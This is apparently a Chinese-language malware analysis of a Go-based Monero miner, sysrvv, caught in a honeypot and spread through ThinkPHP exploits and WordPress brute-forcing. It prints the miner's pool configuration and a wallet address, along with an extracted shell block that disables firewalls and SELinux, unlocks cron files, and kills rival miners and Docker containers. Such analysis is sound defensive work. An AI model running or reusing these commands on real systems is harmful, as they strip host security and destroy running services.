另一个正在作恶的 Go 语言加密货币矿工恶意程序

互联网上有许多加密挖矿恶意软件变体在感染各个系统。2021 年 3 月 4 日星期五,我在我的蜜罐日志中注意到一次有趣的命中。 它捕获的二进制文件十分突出,因为它相当大,大小为 4MB。 我立即想到,这是一个用 Go 语言编写的加密货币矿工恶意程序。我是对的。但是,这个程序使用了一些较新的漏洞攻击,用于执行扩散。

该恶意软件试图利用 ThinkPHP 漏洞,以下载和执行一个名为 ldr.sh 的脚本。该加载器脚本会下载 sysrvv 二进制文件,并终止其他加密货币矿工恶意软件。 它还会添加一个 crontab,以便每 30 分钟使用 wget、curl 或 php 脚本重新感染系统,而不是依靠一种方法来下载二进制文件,如果该实用程序不存在,下载可能会失败。

sysrvv 二进制文件通过 UPX 打包,这意味着,它是用 Ultimate Packer for Executables 打包的,在此过程中,二进制文件会被压缩,但仍可使用 UPX 工具执行。 以下是解包后的统计数据:
$ file sysrvv sysrvv: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
$ sha256sum sysrvv 47183b14ed24978643de4697abe917847831b1560256ddd76e44e918a6181fd8 sysrvv
$ sha256sum sysrvv d3196b0b4767e86bf7e9e47722a5f733129c16f81f0ccbe5f822bdcfd778ca16 sysrvv
该恶意软件最近被上传到 virus total。
我们能够使用 strings 命令 - 一种从二进制文件中提取可读字符串的命令行工具 - 来提取加密矿池的一些细节。这有助于追踪其他可能对同一矿池做出贡献的恶意软件(因此很可能代表了同一个攻击者)。我们还可以确定,他们正在开采门罗币:
"pools": [
"algo": "rx/0",
"coin": null,
"url": "xmr-eu1.nanopool.org:14444",
"user":
"49dnvYkWkZNPrDj3KF8fR1BHLBfiVArU6Hu61N9gtrZWgbRptntwht5JUrXX1ZeofwPwC6fXNxPZfGjNEChXttwWE3WGURa%s",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": true,
"enabled": true,
"tls": false,
"tls-fingerprint": null,
"daemon": false,
"socks5": null,
"self-select": null },
该恶意软件试图通过消除其他加密货币矿工恶意软件的持久性来终止它们,并通过禁用受害者主机上的 SELINUX 和 iptables 来减少安全限制。 它移除了任何其他现有的矿工恶意软件,包括以 docker 映像形式隐藏的矿工恶意软件。
if [ $(id -u) == 0 ]; then
chattr -i /etc/ld.so.preload
ufw disable
iptables -F
service iptables
stop sysctl
kernel.nmi_watchdog=0
echo 0 >/proc/sys/kernel/nmi_watchdog
echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
setenforce 0
echo SELINUX=disabled > /etc/selinux/config
sysctl -w vm.nr_hugepages=$(nproc --all)
chattr -R -ia /var/spool/cron
chattr -ia /etc/crontab
chattr -R -ia /var/spool/cron/crontabs
chattr -R -ia /etc/cron.d
chattr -iua /tmp/
chattr -iua /var/tmp/
killall log_rot
ps aux | grep -v grep | egrep '2t3ik|qW3xT.2|ddg|./oka|postgres: .. . . /etc/ld.so.preload /etc/rc.d/init.d/kthrotlds /tmp/kthrotlds /usr/sbin/watchdogs /dev/shm/z3.sh /dev/shm/z2.sh /dev/shm/.scr /dev/shm/.kerberods /usr/bin/config.json /usr/bin/exin /usr/local/lib/libioset.so /etc/cron.d/tomcat /etc/rc.d/init.d/watchdogs docker ps | egrep 'pocosow|gakeaws|azulu|auto|xmr|mine|monero|slowhttp|bash.shell|entrypoint.sh|/var/sbin/bash' | awk '{print $1}' | xargs -I % docker kill % docker images -a | grep 'pocosow|gakeaws|buster-slim|hello-|azulu|registry|xmr|auto|mine|monero|slowhttp' | awk '{print $3}' | xargs -I % docker rmi -f % netstat -anp | egrep ':143|:2222|:3333|:3389|:4444|:5555|:6666|:6665|:6667|:7777|:8444|:3347|:14433' | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % crontab -r
Redress 是一个可分析剥离的 Go 二进制文件的工具。基于此输出内容,我们获得了一个漏洞目录,这些漏洞被用来传播这个恶意软件。

漏洞目录

也使用了以下函数,以根据存储在恶意软件二进制文件中的凭据列表尝试执行暴力破解登录。如果获得访问权限,恶意软件会尝试上传插件或编辑主题。
wordpress.(*wpExec).login
wordpress.(*wpExec).exploitUploadPlugin Function to brute force login
wordpress.(*wpExec).exploitWritableTheme
wordpress.BruteXmlrpc
wordpress.pwdByUsr
二进制文件的函数中的字符串样本显示了一个凭据列表和一个 curl 命令,在该命令中,user-agent 设置为了 curl_brute_wordpress。

有趣的是,该恶意软件似乎将 user-agent 请求标头设置为了它正在尝试的漏洞攻击的名称。这可能是确定您的系统是否被这个特定的恶意软件攻击或破坏的一个好办法。
似乎有额外的功能来暴力破解 JupyterLab Notebook 凭据,我怀疑这是为了 在安全性较差的笔记本上运行任意命令。
结论
加密货币挖矿恶意软件将继续演变,并利用最新的软件漏洞。 命令注入和远程代码执行这样的软件漏洞将继续受到网络犯罪分子的重视,以便通过您的 CPU 周期获利。我们可以肯定的是,犯罪分子正在更新他们的恶意软件,以利用最新的漏洞,这可能意味着,旧漏洞要么已被修补,要么已无法可靠地帮助攻击者入侵系统。同样,最好的行动方案是保持更新系统软件,并结合使用多重身份验证和强密码。